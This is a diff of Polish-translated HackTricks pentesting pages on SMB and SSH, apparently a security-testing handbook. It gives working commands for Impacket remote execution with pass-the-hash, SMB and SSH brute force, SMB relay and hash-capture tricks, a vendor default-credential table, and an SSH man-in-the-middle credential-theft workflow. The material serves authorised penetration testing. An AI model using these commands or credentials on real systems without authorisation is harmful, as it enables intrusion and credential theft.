| **Setting** | **Description** |
|
||||
| --------------------------- | ------------------------------------------------------------------- |
|
||||
| `browseable = yes` | Pozwala na wylistowanie dostępnych udziałów? |
|
||||
| `read only = no` | Zabrania tworzenia i modyfikacji plików? |
|
||||
| `writable = yes` | Pozwala użytkownikom tworzyć i modyfikować pliki? |
|
||||
| `guest ok = yes` | Pozwala na połączenie z usługą bez użycia hasła? |
|
||||
| `enable privileges = yes` | Respektować uprawnienia przypisane do konkretnego SID? |
|
||||
| `create mask = 0777` | Jakie uprawnienia muszą być przypisane do nowo utworzonych plików? |
|
||||
| `directory mask = 0777` | Jakie uprawnienia muszą być przypisane do nowo utworzonych katalogów? |
|
||||
| `logon script = script.sh` | Jaki skrypt musi być uruchomiony przy logowaniu użytkownika? |
|
||||
| `magic script = script.sh` | Który skrypt powinien zostać uruchomiony po zamknięciu skryptu? |
|
||||
| `magic output = script.out` | Gdzie należy przechowywać wyjście magic script? |
|
||||
|
||||
Polecenie `smbstatus` daje informacje o **serwerze** oraz o **tym, kto jest połączony**.
|
||||
Polecenie `smbstatus` daje informacje o **serwerze** i o tym, **kto jest połączony**.
|
||||
|
||||
## Uwierzytelnianie przy użyciu Kerberos
|
||||
## Authenticate using Kerberos
|
||||
|
||||
Możesz **uwierzytelnić się** w **Kerberos** używając narzędzi **smbclient** i **rpcclient**:
|
||||
Możesz **uwierzytelnić się** w **Kerberos** przy użyciu narzędzi **smbclient** i **rpcclient**:
|
||||
```bash
|
||||
smbclient --kerberos //ws01win10.domain.com/C$
|
||||
rpcclient -k ws01win10.domain.com
|
||||
```
|
||||
W środowiskach opartych wyłącznie na Kerberos (NTLM wyłączone), próby NTLM wobec SMB mogą zwrócić `STATUS_NOT_SUPPORTED`. Napraw typowe problemy z Kerberos i wymuś Kerberos auth:
|
||||
```bash
|
||||
# sync clock to avoid KRB_AP_ERR_SKEW
|
||||
sudo ntpdate <dc.fqdn>
|
||||
|
||||
# use Kerberos with tooling (reads your TGT from ccache)
|
||||
netexec smb <dc.fqdn> -k
|
||||
```
|
||||
Aby w pełni skonfigurować klienta (generowanie krb5.conf, kinit, uwagi dotyczące SSH GSSAPI/SPN), zobacz:
|
||||
|
||||
{{#ref}}
|
||||
../pentesting-kerberos-88/README.md
|
||||
{{#endref}}
|
||||
|
||||
## **Wykonywanie poleceń**
|
||||
|
||||
### **crackmapexec**
|
||||
|
||||
crackmapexec może wykonywać polecenia **wykorzystując** dowolne z **mmcexec, smbexec, atexec, wmiexec**, przy czym **wmiexec** jest metodą **domyślną**. Możesz wskazać, której opcji chcesz użyć, za pomocą parametru `--exec-method`:
|
||||
crackmapexec może wykonywać polecenia **wykorzystując** dowolną z opcji **mmcexec, smbexec, atexec, wmiexec**, gdzie **wmiexec** jest metodą **domyślną**. Możesz wskazać, której opcji chcesz użyć za pomocą parametru `--exec-method`:
|
||||
```bash
|
||||
apt-get install crackmapexec
|
||||
|
||||
@ -380,9 +393,9 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
|
||||
```
|
||||
### [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)**/**[**smbexec**](../../windows-hardening/lateral-movement/smbexec.md)
|
||||
|
||||
Obie opcje **utworzą nową usługę** (używając _\pipe\svcctl_ przez SMB) na maszynie ofiary i użyją jej do **uruchomienia czegoś** (**psexec** **wgra** plik wykonywalny na ADMIN$ share, a **smbexec** wskaże **cmd.exe/powershell.exe** i umieści w argumentach payload --**file-less technique-**-).\
|
||||
**Więcej informacji** o [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md)and [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\
|
||||
W **kali** znajduje się w /usr/share/doc/python3-impacket/examples/
|
||||
Obie opcje **utworzą nową usługę** (używając _\pipe\svcctl_ przez SMB) na maszynie ofiary i wykorzystają ją do **wykonania czegoś** (**psexec** będzie **upload**ować plik wykonywalny na udział ADMIN$, a **smbexec** wskaże na **cmd.exe/powershell.exe** i umieści w argumentach payload — **file-less technique**).\
|
||||
**Więcej informacji** o [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md) i [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\
|
||||
W **kali** znajduje się pod /usr/share/doc/python3-impacket/examples/
|
||||
```bash
|
||||
#If no password is provided, it will be prompted
|
||||
./psexec.py [[domain/]username[:password]@]<targetName or address>
|
||||
@ -394,7 +407,7 @@ Używając **parametru**`-k` możesz uwierzytelnić się przy użyciu **kerberos
|
||||
|
||||
### [wmiexec](../../windows-hardening/lateral-movement/wmiexec.md)/dcomexec
|
||||
|
||||
Umożliwia dyskretne uruchomienie powłoki poleceń bez zapisu na dysku ani uruchamiania nowej usługi, używając DCOM przez **port 135.**\
|
||||
Wykonaj dyskretnie powłokę poleceń bez zapisu na dysku ani uruchamiania nowej usługi, używając DCOM przez **port 135.**\
|
||||
W **kali** znajduje się w /usr/share/doc/python3-impacket/examples/
|
||||
```bash
|
||||
#If no password is provided, it will be prompted
|
||||
@ -402,7 +415,7 @@ W **kali** znajduje się w /usr/share/doc/python3-impacket/examples/
|
||||
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
|
||||
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
|
||||
```
|
||||
Używając **parameter**`-k` możesz uwierzytelnić się przy użyciu **kerberos** zamiast **NTLM**
|
||||
Używając **parametru**`-k` możesz uwierzytelnić się przy użyciu **kerberos** zamiast **NTLM**
|
||||
```bash
|
||||
#If no password is provided, it will be prompted
|
||||
./dcomexec.py [[domain/]username[:password]@]<targetName or address>
|
||||
@ -411,17 +424,17 @@ Używając **parameter**`-k` możesz uwierzytelnić się przy użyciu **kerberos
|
||||
```
|
||||
### [AtExec](../../windows-hardening/lateral-movement/atexec.md)
|
||||
|
||||
Wykonywanie poleceń za pomocą Task Scheduler (używając _\pipe\atsvc_ przez SMB).\
|
||||
W systemie **kali** znajduje się w /usr/share/doc/python3-impacket/examples/
|
||||
Wykonaj polecenia za pomocą Task Scheduler (używając _\pipe\atsvc_ przez SMB).\
|
||||
W **kali** znajduje się w /usr/share/doc/python3-impacket/examples/
|
||||
```bash
|
||||
./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
|
||||
./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami"
|
||||
```
|
||||
## Referencje Impacket
|
||||
## Odniesienie do Impacket
|
||||
|
||||
[https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)
|
||||
|
||||
### Powierzchnia ataku ksmbd i fuzzing protokołu SMB2/SMB3 (syzkaller)
|
||||
### Powierzchnia ataku ksmbd oraz fuzzing protokołu SMB2/SMB3 (syzkaller)
|
||||
|
||||
{{#ref}}
|
||||
ksmbd-attack-surface-and-fuzzing-syzkaller.md
|
||||
@ -429,28 +442,28 @@ ksmbd-attack-surface-and-fuzzing-syzkaller.md
|
||||
|
||||
## **Bruteforce users credentials**
|
||||
|
||||
**Nie jest to zalecane — możesz zablokować konto, jeśli przekroczysz maksymalną dozwoloną liczbę prób**
|
||||
**To nie jest zalecane — możesz zablokować konto, jeśli przekroczysz maksymalną dozwoloną liczbę prób**
|
||||
```bash
|
||||
nmap --script smb-brute -p 445 <IP>
|
||||
ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name
|
||||
```
|
||||
## SMB relay attack
|
||||
|
||||
Ten atak używa Responder toolkit do **przechwytywania sesji uwierzytelniania SMB** w sieci wewnętrznej i **przekazywania** ich do **maszyny docelowej**. Jeśli sesja uwierzytelniania **zakończy się powodzeniem**, automatycznie przeniesie Cię do **system** **shell**.\
|
||||
Ten atak wykorzystuje Responder toolkit do **przechwycenia sesji uwierzytelniania SMB** w sieci wewnętrznej i **przekazuje** je do **maszyny docelowej**. Jeśli **sesja uwierzytelniania** zakończy się powodzeniem, automatycznie da Ci dostęp do **systemowego** **shell**.\
|
||||
[**More information about this attack here.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
|
||||
## SMB-Trap
|
||||
|
||||
Biblioteka Windows URLMon.dll automatycznie próbuje uwierzytelnić się do hosta, gdy strona próbuje uzyskać dostęp do zasobu przez SMB, na przykład: `img src="\\10.10.10.10\path\image.jpg"`
|
||||
Biblioteka Windows URLMon.dll automatycznie próbuje się uwierzytelnić na hoście, gdy strona próbuje uzyskać dostęp do treści przez SMB, na przykład: `img src="\\10.10.10.10\path\image.jpg"`
|
||||
|
||||
To dzieje się przy użyciu następujących funkcji:
|
||||
This happens with the functions:
|
||||
|
||||
- URLDownloadToFile
|
||||
- URLDownloadToCache
|
||||
- URLOpenStream
|
||||
- URLOpenBlockingStream
|
||||
|
||||
Które są używane przez niektóre przeglądarki i narzędzia (takie jak Skype)
|
||||
Które są używane przez niektóre przeglądarki i narzędzia (np. Skype)
|
||||
|
||||
.png>)
|
||||
|
||||
@ -460,7 +473,7 @@ Które są używane przez niektóre przeglądarki i narzędzia (takie jak Skype)
|
||||
|
||||
## NTLM Theft
|
||||
|
||||
Podobnie jak w przypadku SMB Trapping, podstawienie złośliwych plików na systemie docelowym (np. przez SMB) może wywołać próbę uwierzytelnienia SMB, co pozwala na przechwycenie hashu NetNTLMv2 za pomocą narzędzia takiego jak Responder. Hash może być następnie złamany offline lub użyty w [SMB relay attack](#smb-relay-attack).
|
||||
Podobnie jak SMB Trapping, umieszczenie złośliwych plików na systemie docelowym (np. przez SMB) może wywołać próbę uwierzytelnienia SMB, co pozwala przechwycić hash NetNTLMv2 za pomocą narzędzia takiego jak Responder. Następnie hash można złamać offline lub użyć go w [SMB relay attack](#smb-relay-attack).
|
||||
|
||||
[See: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
|
||||
|
||||
@ -497,8 +510,8 @@ getArch.py -target {IP}
|
||||
|
||||
With Creds
|
||||
smbmap -H {IP} -u {Username} -p {Password}
|
||||
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP}
|
||||
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`
|
||||
smbclient "\\\\{IP}\\" -U {Username} -W {Domain_Name} -l {IP}
|
||||
smbclient "\\\\{IP}\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`
|
||||
crackmapexec smb {IP} -u {Username} -p {Password} --shares
|
||||
GetADUsers.py {Domain_Name}/{Username}:{Password} -all
|
||||
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
|
||||
@ -533,4 +546,10 @@ Note: sourced from https://github.com/carlospolop/legion
|
||||
Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit'
|
||||
|
||||
```
|
||||
## Referencje
|
||||
|
||||
- [NetExec (CME) wiki – użycie Kerberosa](https://www.netexec.wiki/)
|
||||
- [Pentesting Kerberos (88) – konfiguracja klienta i rozwiązywanie problemów](../pentesting-kerberos-88/README.md)
|
||||
- [0xdf – HTB: TheFrizz](https://0xdf.gitlab.io/2025/08/23/htb-thefrizz.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -2,9 +2,9 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Podstawowe informacje
|
||||
## Basic Information
|
||||
|
||||
**SSH (Secure Shell lub Secure Socket Shell)** to protokół sieciowy, który umożliwia bezpieczne połączenie z komputerem przez niezabezpieczoną sieć. Jest niezbędny do utrzymania poufności i integralności danych podczas uzyskiwania dostępu do zdalnych systemów.
|
||||
**SSH (Secure Shell or Secure Socket Shell)** to protokół sieciowy, który umożliwia bezpieczne połączenie z komputerem przez niechronioną sieć. Jest niezbędny do zachowania poufności i integralności danych podczas uzyskiwania dostępu do systemów zdalnych.
|
||||
|
||||
**Domyślny port:** 22
|
||||
```
|
||||
@ -12,42 +12,42 @@
|
||||
```
|
||||
**Serwery SSH:**
|
||||
|
||||
- [openSSH](http://www.openssh.org) – OpenBSD SSH, dostarczany w systemach BSD, dystrybucjach Linux i Windows od Windows 10
|
||||
- [Dropbear](https://matt.ucc.asn.au/dropbear/dropbear.html) – implementacja SSH dla środowisk z ograniczonymi zasobami pamięci i procesora, dostarczana w OpenWrt
|
||||
- [PuTTY](https://www.chiark.greenend.org.uk/~sgtatham/putty/) – implementacja SSH dla Windows, klient jest powszechnie używany, ale użycie serwera jest rzadsze
|
||||
- [openSSH](http://www.openssh.org) – OpenBSD SSH, dostarczany w BSD, dystrybucjach Linuksa oraz Windows od Windows 10
|
||||
- [Dropbear](https://matt.ucc.asn.au/dropbear/dropbear.html) – implementacja SSH dla środowisk o ograniczonej pamięci i mocy procesora, dostarczana w OpenWrt
|
||||
- [PuTTY](https://www.chiark.greenend.org.uk/~sgtatham/putty/) – implementacja SSH dla Windows; klient jest powszechnie używany, natomiast użycie serwera jest rzadsze
|
||||
- [CopSSH](https://www.itefix.net/copssh) – implementacja OpenSSH dla Windows
|
||||
|
||||
**Biblioteki SSH (implementujące stronę serwera):**
|
||||
**Biblioteki SSH (implementujące część serwerową):**
|
||||
|
||||
- [libssh](https://www.libssh.org) – wieloplatformowa biblioteka C implementująca protokół SSHv2 z powiązaniami w [Python](https://github.com/ParallelSSH/ssh-python), [Perl](https://github.com/garnier-quentin/perl-libssh/) i [R](https://github.com/ropensci/ssh); jest używana przez KDE do sftp i przez GitHub do infrastruktury git SSH
|
||||
- [wolfSSH](https://www.wolfssl.com/products/wolfssh/) – biblioteka serwera SSHv2 napisana w ANSI C, skierowana do środowisk wbudowanych, RTOS i z ograniczonymi zasobami
|
||||
- [Apache MINA SSHD](https://mina.apache.org/sshd-project/index.html) – biblioteka Apache SSHD w języku Java oparta na Apache MINA
|
||||
- [paramiko](https://github.com/paramiko/paramiko) – biblioteka protokołu SSHv2 w Pythonie
|
||||
- [libssh](https://www.libssh.org) – wieloplatformowa biblioteka w C implementująca protokół SSHv2 z bindingami w [Python](https://github.com/ParallelSSH/ssh-python), [Perl](https://github.com/garnier-quentin/perl-libssh/) i [R](https://github.com/ropensci/ssh); jest używana przez KDE do sftp oraz przez GitHub w infrastrukturze git SSH
|
||||
- [wolfSSH](https://www.wolfssl.com/products/wolfssh/) – biblioteka serwerowa SSHv2 napisana w ANSI C, przeznaczona dla systemów embedded, RTOS i środowisk o ograniczonych zasobach
|
||||
- [Apache MINA SSHD](https://mina.apache.org/sshd-project/index.html) – biblioteka Apache SSHD w Java oparta na Apache MINA
|
||||
- [paramiko](https://github.com/paramiko/paramiko) – biblioteka protokołu SSHv2 dla Pythona
|
||||
|
||||
## Enumeracja
|
||||
## Enumeration
|
||||
|
||||
### Zbieranie banerów
|
||||
### Banner Grabbing
|
||||
```bash
|
||||
nc -vn <IP> 22
|
||||
```
|
||||
### Automatyczny audyt ssh
|
||||
### Automatyczne ssh-audit
|
||||
|
||||
ssh-audit to narzędzie do audytowania konfiguracji serwera i klienta ssh.
|
||||
ssh-audit to narzędzie do audytu konfiguracji serwera i klienta ssh.
|
||||
|
||||
[https://github.com/jtesta/ssh-audit](https://github.com/jtesta/ssh-audit) to zaktualizowany fork z [https://github.com/arthepsy/ssh-audit/](https://github.com/arthepsy/ssh-audit/)
|
||||
|
||||
**Funkcje:**
|
||||
|
||||
- Obsługa protokołu SSH1 i SSH2;
|
||||
- Obsługa serwera protokołu SSH1 i SSH2;
|
||||
- analiza konfiguracji klienta SSH;
|
||||
- pobieranie banera, rozpoznawanie urządzenia lub oprogramowania oraz systemu operacyjnego, wykrywanie kompresji;
|
||||
- zbieranie algorytmów wymiany kluczy, kluczy hosta, szyfrowania i kodów uwierzytelniających wiadomości;
|
||||
- wyjście informacji o algorytmach (dostępne od, usunięte/wyłączone, niebezpieczne/słabe/legacy itp.);
|
||||
- wyjście rekomendacji dotyczących algorytmów (dodaj lub usuń na podstawie rozpoznanej wersji oprogramowania);
|
||||
- wyjście informacji o bezpieczeństwie (powiązane problemy, przypisane listy CVE itp.);
|
||||
- analiza zgodności wersji SSH na podstawie informacji o algorytmach;
|
||||
- pobiera banner, rozpoznaje urządzenie lub oprogramowanie i system operacyjny, wykrywa kompresję;
|
||||
- zbiera algorytmy key-exchange, host-key, encryption i message authentication code;
|
||||
- wyświetla informacje o algorytmach (available since, removed/disabled, unsafe/weak/legacy, etc);
|
||||
- wyświetla rekomendacje dotyczące algorytmów (append or remove based on recognized software version);
|
||||
- wyświetla informacje o bezpieczeństwie (related issues, assigned CVE list, etc);
|
||||
- analizuje kompatybilność wersji SSH na podstawie informacji o algorytmach;
|
||||
- informacje historyczne z OpenSSH, Dropbear SSH i libssh;
|
||||
- działa na systemach Linux i Windows;
|
||||
- działa na Linux i Windows;
|
||||
- brak zależności
|
||||
```bash
|
||||
usage: ssh-audit.py [-1246pbcnjvlt] <host>
|
||||
@ -69,17 +69,17 @@ use -t to change timeout)
|
||||
(default: 5)
|
||||
$ python3 ssh-audit <IP>
|
||||
```
|
||||
[Zobacz to w akcji (Asciinema)](https://asciinema.org/a/96ejZKxpbuupTK9j7h8BdClzp)
|
||||
[See it in action (Asciinema)](https://asciinema.org/a/96ejZKxpbuupTK9j7h8BdClzp)
|
||||
|
||||
### Publiczny klucz SSH serwera
|
||||
```bash
|
||||
ssh-keyscan -t rsa <IP> -p <PORT>
|
||||
```
|
||||
### Słabe algorytmy szyfrowania
|
||||
### Słabe algorytmy szyfrujące
|
||||
|
||||
To jest domyślnie wykrywane przez **nmap**. Możesz również użyć **sslcan** lub **sslyze**.
|
||||
Jest to wykrywane domyślnie przez **nmap**. Możesz też użyć **sslcan** lub **sslyze**.
|
||||
|
||||
### Skrypty Nmap
|
||||
### Nmap scripts
|
||||
```bash
|
||||
nmap -p22 <ip> -sC # Send default nmap scripts for SSH
|
||||
nmap -p22 <ip> -sV # Retrieve version
|
||||
@ -91,116 +91,135 @@ nmap -p22 <ip> --script ssh-auth-methods --script-args="ssh.user=root" # Check a
|
||||
|
||||
- `ssh`
|
||||
|
||||
## Bruteforce'owanie nazw użytkowników, haseł i kluczy prywatnych
|
||||
## Brute force usernames, passwords and private keys
|
||||
|
||||
### Enumeracja nazw użytkowników
|
||||
### Username Enumeration
|
||||
|
||||
W niektórych wersjach OpenSSH możesz przeprowadzić atak czasowy, aby enumerować użytkowników. Możesz użyć modułu metasploit, aby to wykorzystać:
|
||||
W niektórych wersjach OpenSSH można przeprowadzić timing attack w celu enumerate users. Można użyć modułu metasploit, aby to wykorzystać:
|
||||
```
|
||||
msf> use scanner/ssh/ssh_enumusers
|
||||
```
|
||||
### [Brute force](../generic-hacking/brute-force.md#ssh)
|
||||
|
||||
Niektóre powszechne dane logowania ssh [tutaj](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt) i [tutaj](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt) oraz poniżej.
|
||||
Kilka powszechnych poświadczeń ssh [here ](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt) i [here](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt) oraz poniżej.
|
||||
|
||||
### Atak Brute Force na Klucz Prywatny
|
||||
### Private Key Brute Force
|
||||
|
||||
Jeśli znasz jakieś klucze prywatne ssh, które mogą być użyte... spróbujmy. Możesz użyć skryptu nmap:
|
||||
Jeśli znasz jakieś ssh private keys, które mogłyby zostać użyte... spróbujmy. Możesz użyć skryptu nmap:
|
||||
```
|
||||
https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html
|
||||
```
|
||||
Lub moduł pomocniczy MSF:
|
||||
Lub MSF auxiliary module:
|
||||
```
|
||||
msf> use scanner/ssh/ssh_identify_pubkeys
|
||||
```
|
||||
Or use `ssh-keybrute.py` (native python3, lightweight and has legacy algorithms enabled): [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute).
|
||||
Albo użyj `ssh-keybrute.py` (natywne python3, lekkie i z włączonymi starszymi algorytmami): [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute).
|
||||
|
||||
#### Znane złe klucze można znaleźć tutaj:
|
||||
#### Znane badkeys można znaleźć tutaj:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/rapid7/ssh-badkeys/tree/master/authorized
|
||||
{{#endref}}
|
||||
|
||||
#### Słabe klucze SSH / Przewidywalny PRNG w Debianie
|
||||
#### Słabe klucze SSH / przewidywalny PRNG Debiana
|
||||
|
||||
Niektóre systemy mają znane wady w losowym ziarnie używanym do generowania materiału kryptograficznego. Może to prowadzić do dramatycznie zmniejszonej przestrzeni kluczy, która może być złamana metodą brute force. Wstępnie wygenerowane zestawy kluczy wygenerowane na systemach Debian dotkniętych słabym PRNG są dostępne tutaj: [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
|
||||
Niektóre systemy mają znane błędy w ziarnie losowym używanym do generowania materiału kryptograficznego. Może to skutkować znacznym zmniejszeniem przestrzeni kluczy, którą można złamać metodą brute-force. Wstępnie wygenerowane zestawy kluczy pochodzących z systemów Debian dotkniętych słabym PRNG są dostępne tutaj: [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
|
||||
|
||||
Powinieneś poszukać tutaj, aby znaleźć ważne klucze dla maszyny ofiary.
|
||||
Zajrzyj tutaj, aby wyszukać poprawne klucze dla maszyny ofiary.
|
||||
|
||||
### Kerberos
|
||||
### Kerberos / GSSAPI SSO
|
||||
|
||||
**crackmapexec** używając protokołu `ssh` może używać opcji `--kerberos`, aby **uwierzytelnić się za pomocą Kerberos**.\
|
||||
Aby uzyskać więcej informacji, uruchom `crackmapexec ssh --help`.
|
||||
Jeśli docelowy serwer SSH obsługuje GSSAPI (np. Windows OpenSSH na domain controller), możesz uwierzytelnić się przy użyciu swojego Kerberos TGT zamiast hasła.
|
||||
|
||||
Przebieg na hoście atakującego z systemem Linux:
|
||||
```bash
|
||||
# 1) Ensure time is in sync with the KDC to avoid KRB_AP_ERR_SKEW
|
||||
sudo ntpdate <dc.fqdn>
|
||||
|
||||
# 2) Generate a krb5.conf for the target realm (optional, but handy)
|
||||
netexec smb <dc.fqdn> -u <user> -p '<pass>' -k --generate-krb5-file krb5.conf
|
||||
sudo cp krb5.conf /etc/krb5.conf
|
||||
|
||||
# 3) Obtain a TGT for the user
|
||||
kinit <user>
|
||||
klist
|
||||
|
||||
# 4) SSH with GSSAPI, using the FQDN that matches the host SPN
|
||||
ssh -o GSSAPIAuthentication=yes <user>@<host.fqdn>
|
||||
```
|
||||
Notes:
|
||||
- Jeśli połączysz się pod błędną nazwą (np. krótką nazwą hosta, aliasem lub w złej kolejności w `/etc/hosts`), możesz otrzymać: "Server not found in Kerberos database", ponieważ SPN nie pasuje.
|
||||
- `crackmapexec ssh --kerberos` może również użyć twojego ccache do uwierzytelniania Kerberos.
|
||||
|
||||
## Domyślne dane logowania
|
||||
|
||||
| **Dostawca** | **Nazwy użytkowników** | **Hasła** |
|
||||
| ------------ | ----------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| APC | apc, device | apc |
|
||||
| Brocade | admin | admin123, password, brocade, fibranne |
|
||||
| Cisco | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin | admin, Admin123, default, password, secur4u, cisco, Cisco, \_Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme |
|
||||
| Citrix | root, nsroot, nsmaint, vdiadmin, kvm, cli, admin | C1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler |
|
||||
| D-Link | admin, user | private, admin, user |
|
||||
| Dell | root, user1, admin, vkernel, cli | calvin, 123456, password, vkernel, Stor@ge!, admin |
|
||||
| EMC | admin, root, sysadmin | EMCPMAdm7n, Password#1, Password123#, sysadmin, changeme, emc |
|
||||
| HP/3Com | admin, root, vcx, app, spvar, manage, hpsupport, opc_op | admin, password, hpinvent, iMC123, pvadmin, passw0rd, besgroup, vcx, nice, access, config, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC_op, !manage, !admin |
|
||||
| Huawei | admin, root | 123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123 |
|
||||
| IBM | USERID, admin, manager, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, system, device, ufmcli, customer | PASSW0RD, passw0rd, admin, password, Passw8rd, iadmin, apc, 123456, cust0mer |
|
||||
| Juniper | netscreen | netscreen |
|
||||
| NetApp | admin | netapp123 |
|
||||
| Oracle | root, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2user | changeme, ilom-admin, ilom-operator, welcome1, oracle |
|
||||
| VMware | vi-admin, root, hqadmin, vmware, admin | vmware, vmw@re, hqadmin, default |
|
||||
| **Vendor** | **Usernames** | **Passwords** |
|
||||
| ---------- | ----------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| APC | apc, device | apc |
|
||||
| Brocade | admin | admin123, password, brocade, fibranne |
|
||||
| Cisco | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin | admin, Admin123, default, password, secur4u, cisco, Cisco, _Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme |
|
||||
| Citrix | root, nsroot, nsmaint, vdiadmin, kvm, cli, admin | C1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler |
|
||||
| D-Link | admin, user | private, admin, user |
|
||||
| Dell | root, user1, admin, vkernel, cli | calvin, 123456, password, vkernel, Stor@ge!, admin |
|
||||
| EMC | admin, root, sysadmin | EMCPMAdm7n, Password#1, Password123#, sysadmin, changeme, emc |
|
||||
| HP/3Com | admin, root, vcx, app, spvar, manage, hpsupport, opc_op | admin, password, hpinvent, iMC123, pvadmin, passw0rd, besgroup, vcx, nice, access, config, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC_op, !manage, !admin |
|
||||
| Huawei | admin, root | 123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123 |
|
||||
| IBM | USERID, admin, manager, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, system, device, ufmcli, customer | PASSW0RD, passw0rd, admin, password, Passw8rd, iadmin, apc, 123456, cust0mer |
|
||||
| Juniper | netscreen | netscreen |
|
||||
| NetApp | admin | netapp123 |
|
||||
| Oracle | root, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2user | changeme, ilom-admin, ilom-operator, welcome1, oracle |
|
||||
| VMware | vi-admin, root, hqadmin, vmware, admin | vmware, vmw@re, hqadmin, default |
|
||||
|
||||
## SSH-MitM
|
||||
|
||||
Jeśli jesteś w lokalnej sieci jako ofiara, która zamierza połączyć się z serwerem SSH używając nazwy użytkownika i hasła, możesz spróbować **przeprowadzić atak MitM, aby ukraść te dane logowania:**
|
||||
Jeśli znajdujesz się w lokalnej sieci razem z ofiarą, która ma się połączyć z serwerem SSH używając nazwy użytkownika i hasła, możesz spróbować **wykonać atak MitM w celu przechwycenia tych poświadczeń:**
|
||||
|
||||
**Ścieżka ataku:**
|
||||
|
||||
- **Przekierowanie ruchu:** Napastnik **przekierowuje** ruch ofiary na swoją maszynę, skutecznie **przechwytując** próbę połączenia z serwerem SSH.
|
||||
- **Przechwytywanie i rejestrowanie:** Maszyna napastnika działa jako **proxy**, **przechwytując** dane logowania użytkownika, udając, że jest legalnym serwerem SSH.
|
||||
- **Wykonywanie poleceń i przekazywanie:** Na koniec serwer napastnika **rejestruje dane logowania użytkownika**, **przekazuje polecenia** do prawdziwego serwera SSH, **wykonuje** je i **wysyła wyniki z powrotem** do użytkownika, sprawiając, że proces wydaje się płynny i legalny.
|
||||
- **Przekierowanie ruchu:** Atakujący **przekierowuje** ruch ofiary na swoją maszynę, skutecznie **przechwytując** próbę połączenia z serwerem SSH.
|
||||
- **Przechwytywanie i logowanie:** Maszyna atakującego działa jako **proxy**, **rejestrując** dane logowania użytkownika poprzez podszywanie się pod prawdziwy serwer SSH.
|
||||
- **Wykonywanie poleceń i relaying:** Na koniec serwer atakującego **zapisuje poświadczenia użytkownika**, **przekazuje polecenia** do prawdziwego serwera SSH, **wykonuje** je i **odsyła wyniki** z powrotem do użytkownika, sprawiając, że proces wygląda płynnie i legalnie.
|
||||
|
||||
[**SSH MITM**](https://github.com/jtesta/ssh-mitm) robi dokładnie to, co opisano powyżej.
|
||||
|
||||
Aby przechwycić i przeprowadzić rzeczywisty MitM, możesz użyć technik takich jak ARP spoofing, DNS spoofing lub innych opisanych w [**Atakach na spoofing w sieci**](../generic-methodologies-and-resources/pentesting-network/index.html#spoofing).
|
||||
